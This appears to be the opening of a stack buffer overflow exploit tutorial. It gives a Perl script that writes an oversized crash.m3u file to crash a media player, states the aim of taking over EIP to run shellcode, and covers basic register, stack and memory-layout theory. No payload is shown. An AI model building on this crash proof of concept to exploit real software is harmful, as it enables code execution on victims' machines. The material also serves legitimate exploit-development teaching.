Verify the bug
my $file= "crash.m3u";
my $junk= "\\x41" x 10000;
open($FILE,">$file");
print $FILE "$junk";
close($FILE);
print "m3u File Created successfully\\n";

Main Goal
Controller the application flow to execute unintended instructions which is our “shellcode”

Before we proceed – some theory
- The EIP control the next instruction to be executed
- The program variables in the data segment
- stack we will PUSH and POP data from it

- ESP points to the top of the stack which is the lowest point as the stack grow downward
- when we POP something from the stack we increment it’s value by 4 bytes

CPU Registers

Process Memory
- User-land: when process is create it reserve the memory address for the user-mode from 0x00000000 To 0x7FFFFFFF
- Kernel-land: when the process is created it reserve the memory address for the kernel-mode from 0x80000000 to 0xFFFFFFFF